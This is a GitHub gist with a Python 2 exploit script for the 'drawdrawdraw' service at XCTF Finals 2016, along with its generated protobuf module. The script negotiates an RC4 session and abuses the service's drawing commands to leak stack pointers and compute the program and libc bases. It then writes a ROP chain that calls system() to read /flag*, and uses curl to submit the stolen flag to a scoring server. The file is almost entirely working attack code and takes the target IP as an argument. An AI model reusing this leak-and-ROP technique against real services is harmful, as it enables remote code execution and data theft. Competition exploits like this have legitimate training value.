-
-
Save HQ1995/5118681924b362dba1a7223b08575c84 to your computer and use it in GitHub Desktop.
drawdrawdraw exploit on XCTF Finals 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from transaction_pb2 import Transaction, Reply, Command | |
from rc4 import RC4 # https://github.com/bozhu/RC4-Python | |
import socket | |
import hexdump | |
import random | |
import struct | |
import telnetlib | |
import sys | |
LIBC_RET = 0x21f45 | |
SYSTEM = 0x46590 | |
p4 = lambda x: struct.pack("<L", x) | |
u4 = lambda x: struct.unpack("<L", x)[0] | |
p8 = lambda x: struct.pack("<Q", x) | |
u8 = lambda x: struct.unpack("<Q", x)[0] | |
HOST = '0.0.0.0' | |
PORT = 9000 | |
execcmd = 'echo ho; cat /flag*\n' | |
def run(HOST, PORT): | |
s = socket.create_connection((HOST, PORT)) | |
p = 0x00f88ea4c0f503ee5b16d72d1cb2dcc8f056b9365bce0140279b309b68d748f98be1d9e2c1b9260be691bb0d349ffeac2444f1a1a65bf9af1871c075748dd0c25dad93a707eb34eef262aae310adabac1270521c81f775989568088ee152838c60e1be2b545517a110c35826e52230f99e3946ac647f17ec2260cd6e0085debc8b | |
data = s.recv(128).encode('hex') | |
data = int(data, 16) | |
g_pow_x = data | |
g = 2 | |
y = random.randint(2, p - 1) | |
session_key = pow(g_pow_x, y, p) | |
# print hex(session_key) | |
# print hex(g_pow_x) | |
challenge = pow(g, y, p) | |
# print hex(challenge) | |
challenge_string = '' | |
for i in range(128): | |
challenge_string += chr(challenge & 0xff) | |
challenge /= 256 | |
session_key_string = '' | |
for i in range(128): | |
if session_key == 0: | |
session_key_string = session_key_string.ljust(128, '\x00') | |
break | |
session_key_string = chr(session_key & 0xff) + session_key_string | |
session_key /= 256 | |
s.send(challenge_string[::-1]) | |
def rw(x): | |
d = '' | |
while x not in d: | |
c = s.recv(1) | |
sys.stdout.write(c) | |
if c == '': | |
print 'socket error' | |
exit() | |
d += c | |
return d | |
def send(x): | |
data = '' | |
x = p4(len(x)) + x | |
for c, d in zip(x, RC4read): | |
data += chr(ord(c) ^ d) | |
s.send(data) | |
def read(): | |
data = '' | |
size = u4(str(bytearray([ord(x) ^ y for x, y in zip(s.recv(4), RC4write)]))) | |
if size > 0x100000: | |
print 'server tried DoS against us', hex(size) | |
exit() | |
for c, d in zip(range(size), RC4write): | |
c = s.recv(1) | |
data += chr(ord(c) ^ d) | |
data = bytes(data) | |
return data | |
RC4read = RC4(bytearray(session_key_string[:64])) | |
RC4write = RC4(bytearray(session_key_string[64:])) | |
t = Transaction() | |
r = random.randint(50, 100) | |
for i in range(r): | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_DOT | |
cmd.x = random.randint(0, 63) | |
cmd.y = random.randint(0, 63) | |
cmd = t.cmds.add() | |
cmd.action = Command.CLEAR_ALL | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_PATTERN | |
cmd.x = 0 | |
cmd.y = 0 | |
cmd.pattern_id = 25 | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_PATTERN | |
cmd.x = 0 | |
cmd.y = 16 | |
cmd.pattern_id = 26 | |
cmd = t.cmds.add() | |
cmd.action = Command.VIEW | |
data = t.SerializeToString() | |
t.reply.message = 'a' | |
t.reply.type = 2 | |
t.reply.view = 'view' | |
send(data) | |
r = Reply() | |
r.ParseFromString(read()) | |
data = r.view[5:] | |
data = data.replace(' ', '0').replace('*', '1') | |
data = ''.join(row[:16][::-1] for row in data.split('\n')[:32]) | |
data = [int(data[i:i+8], 2) for i in range(0, len(data), 8)] | |
print len(data) | |
data = str(bytearray(data)) | |
data = ''.join([data[i:i+2][::-1] for i in range(0, len(data), 2)]) | |
#hexdump.hexdump(data) | |
#print `data` | |
data = [u8(data[i:i+8]) for i in range(0, len(data), 8)] | |
print map(hex, data), HOST | |
base = data[3] - 0x3dbc | |
libc_base = data[7] - LIBC_RET | |
print hex(base), hex(libc_base) | |
data2 = [base + 0x4175, base + 0x20c000, base + 0x4420, len(execcmd) + 1, base + 0x4C30, base + 0x4175, base + 0x20c000, libc_base + SYSTEM] | |
data1 = list(data)[:4] | |
data1[3] = base + 0x3f59 | |
payload1 = ''.join([p8(data1[i]) for i in range(len(data1))]) | |
payload2 = ''.join([p8(data2[i]) for i in range(len(data2))]) | |
t = Transaction() | |
cmd = t.cmds.add() | |
cmd.action = Command.CLEAR_ALL | |
for i in range(16): | |
for j in range(16): | |
if ord(payload1[i * 2 + j / 8]) & (1 << (j & 7)): | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_DOT | |
cmd.x = j | |
cmd.y = i | |
for i in range(32): | |
for j in range(16): | |
if ord(payload2[i * 2 + j / 8]) & (1 << (j & 7)): | |
cmd = t.cmds.add() | |
cmd.action = Command.DRAW_DOT | |
cmd.x = j + 16 | |
cmd.y = i | |
cmd = t.cmds.add() | |
cmd.action = Command.SAVE_AS_PATTERN | |
cmd.x = 0 | |
cmd.y = 0 | |
cmd.pattern_id = 25 | |
cmd = t.cmds.add() | |
cmd.action = Command.SAVE_AS_PATTERN | |
cmd.x = 16 | |
cmd.y = 0 | |
cmd.pattern_id = 26 | |
cmd = t.cmds.add() | |
cmd.action = Command.SAVE_AS_PATTERN | |
cmd.x = 16 | |
cmd.y = 16 | |
cmd.pattern_id = 27 | |
cmd = t.cmds.add() | |
cmd.action = Command.END | |
data = t.SerializeToString() | |
send(data) | |
read() | |
s.send(execcmd + '\x00') | |
rw('ho\n') | |
token = rw('\n').strip() | |
return token | |
import os | |
import urllib2 | |
token = run(sys.argv[1], PORT) | |
import sys | |
os.system('curl http://172.16.4.1/Common/submitAnswer -d \'answer=%s&token=9edc17d82fdcd0954ae5c1e6b8560531\'; echo %s' % (token, sys.argv[1]) ) | |
print '=>', token | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Generated by the protocol buffer compiler. DO NOT EDIT! | |
# source: transaction.proto | |
from google.protobuf import descriptor as _descriptor | |
from google.protobuf import message as _message | |
from google.protobuf import reflection as _reflection | |
from google.protobuf import descriptor_pb2 | |
# @@protoc_insertion_point(imports) | |
DESCRIPTOR = _descriptor.FileDescriptor( | |
name='transaction.proto', | |
package='', | |
serialized_pb='\n\x11transaction.proto\"\xc4\x01\n\x07\x43ommand\x12\x1f\n\x06\x61\x63tion\x18\x01 \x02(\x0e\x32\x0f.Command.Action\x12\t\n\x01x\x18\x02 \x01(\x05\x12\t\n\x01y\x18\x03 \x01(\x05\x12\x12\n\npattern_id\x18\x04 \x01(\x05\"n\n\x06\x41\x63tion\x12\r\n\tCLEAR_ALL\x10\x00\x12\x0c\n\x08\x44RAW_DOT\x10\x01\x12\r\n\tCLEAR_DOT\x10\x02\x12\x13\n\x0fSAVE_AS_PATTERN\x10\x03\x12\x10\n\x0c\x44RAW_PATTERN\x10\x04\x12\x08\n\x04VIEW\x10\x05\x12\x07\n\x03\x45ND\x10\x06\"p\n\x05Reply\x12\x1e\n\x04type\x18\x01 \x02(\x0e\x32\x10.Reply.ReplyType\x12\x0c\n\x04view\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"(\n\tReplyType\x12\x08\n\x04VIEW\x10\x00\x12\x06\n\x02OK\x10\x01\x12\t\n\x05\x45RROR\x10\x02\"<\n\x0bTransaction\x12\x16\n\x04\x63mds\x18\x01 \x03(\x0b\x32\x08.Command\x12\x15\n\x05reply\x18\x02 \x01(\x0b\x32\x06.Reply') | |
_COMMAND_ACTION = _descriptor.EnumDescriptor( | |
name='Action', | |
full_name='Command.Action', | |
filename=None, | |
file=DESCRIPTOR, | |
values=[ | |
_descriptor.EnumValueDescriptor( | |
name='CLEAR_ALL', index=0, number=0, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='DRAW_DOT', index=1, number=1, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='CLEAR_DOT', index=2, number=2, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='SAVE_AS_PATTERN', index=3, number=3, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='DRAW_PATTERN', index=4, number=4, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='VIEW', index=5, number=5, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='END', index=6, number=6, | |
options=None, | |
type=None), | |
], | |
containing_type=None, | |
options=None, | |
serialized_start=108, | |
serialized_end=218, | |
) | |
_REPLY_REPLYTYPE = _descriptor.EnumDescriptor( | |
name='ReplyType', | |
full_name='Reply.ReplyType', | |
filename=None, | |
file=DESCRIPTOR, | |
values=[ | |
_descriptor.EnumValueDescriptor( | |
name='VIEW', index=0, number=0, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='OK', index=1, number=1, | |
options=None, | |
type=None), | |
_descriptor.EnumValueDescriptor( | |
name='ERROR', index=2, number=2, | |
options=None, | |
type=None), | |
], | |
containing_type=None, | |
options=None, | |
serialized_start=292, | |
serialized_end=332, | |
) | |
_COMMAND = _descriptor.Descriptor( | |
name='Command', | |
full_name='Command', | |
filename=None, | |
file=DESCRIPTOR, | |
containing_type=None, | |
fields=[ | |
_descriptor.FieldDescriptor( | |
name='action', full_name='Command.action', index=0, | |
number=1, type=14, cpp_type=8, label=2, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='x', full_name='Command.x', index=1, | |
number=2, type=5, cpp_type=1, label=1, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='y', full_name='Command.y', index=2, | |
number=3, type=5, cpp_type=1, label=1, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='pattern_id', full_name='Command.pattern_id', index=3, | |
number=4, type=5, cpp_type=1, label=1, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
], | |
extensions=[ | |
], | |
nested_types=[], | |
enum_types=[ | |
_COMMAND_ACTION, | |
], | |
options=None, | |
is_extendable=False, | |
extension_ranges=[], | |
serialized_start=22, | |
serialized_end=218, | |
) | |
_REPLY = _descriptor.Descriptor( | |
name='Reply', | |
full_name='Reply', | |
filename=None, | |
file=DESCRIPTOR, | |
containing_type=None, | |
fields=[ | |
_descriptor.FieldDescriptor( | |
name='type', full_name='Reply.type', index=0, | |
number=1, type=14, cpp_type=8, label=2, | |
has_default_value=False, default_value=0, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='view', full_name='Reply.view', index=1, | |
number=2, type=9, cpp_type=9, label=1, | |
has_default_value=False, default_value=unicode("", "utf-8"), | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='message', full_name='Reply.message', index=2, | |
number=3, type=9, cpp_type=9, label=1, | |
has_default_value=False, default_value=unicode("", "utf-8"), | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
], | |
extensions=[ | |
], | |
nested_types=[], | |
enum_types=[ | |
_REPLY_REPLYTYPE, | |
], | |
options=None, | |
is_extendable=False, | |
extension_ranges=[], | |
serialized_start=220, | |
serialized_end=332, | |
) | |
_TRANSACTION = _descriptor.Descriptor( | |
name='Transaction', | |
full_name='Transaction', | |
filename=None, | |
file=DESCRIPTOR, | |
containing_type=None, | |
fields=[ | |
_descriptor.FieldDescriptor( | |
name='cmds', full_name='Transaction.cmds', index=0, | |
number=1, type=11, cpp_type=10, label=3, | |
has_default_value=False, default_value=[], | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
_descriptor.FieldDescriptor( | |
name='reply', full_name='Transaction.reply', index=1, | |
number=2, type=11, cpp_type=10, label=1, | |
has_default_value=False, default_value=None, | |
message_type=None, enum_type=None, containing_type=None, | |
is_extension=False, extension_scope=None, | |
options=None), | |
], | |
extensions=[ | |
], | |
nested_types=[], | |
enum_types=[ | |
], | |
options=None, | |
is_extendable=False, | |
extension_ranges=[], | |
serialized_start=334, | |
serialized_end=394, | |
) | |
_COMMAND.fields_by_name['action'].enum_type = _COMMAND_ACTION | |
_COMMAND_ACTION.containing_type = _COMMAND; | |
_REPLY.fields_by_name['type'].enum_type = _REPLY_REPLYTYPE | |
_REPLY_REPLYTYPE.containing_type = _REPLY; | |
_TRANSACTION.fields_by_name['cmds'].message_type = _COMMAND | |
_TRANSACTION.fields_by_name['reply'].message_type = _REPLY | |
DESCRIPTOR.message_types_by_name['Command'] = _COMMAND | |
DESCRIPTOR.message_types_by_name['Reply'] = _REPLY | |
DESCRIPTOR.message_types_by_name['Transaction'] = _TRANSACTION | |
class Command(_message.Message): | |
__metaclass__ = _reflection.GeneratedProtocolMessageType | |
DESCRIPTOR = _COMMAND | |
# @@protoc_insertion_point(class_scope:Command) | |
class Reply(_message.Message): | |
__metaclass__ = _reflection.GeneratedProtocolMessageType | |
DESCRIPTOR = _REPLY | |
# @@protoc_insertion_point(class_scope:Reply) | |
class Transaction(_message.Message): | |
__metaclass__ = _reflection.GeneratedProtocolMessageType | |
DESCRIPTOR = _TRANSACTION | |
# @@protoc_insertion_point(class_scope:Transaction) | |
# @@protoc_insertion_point(module_scope) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment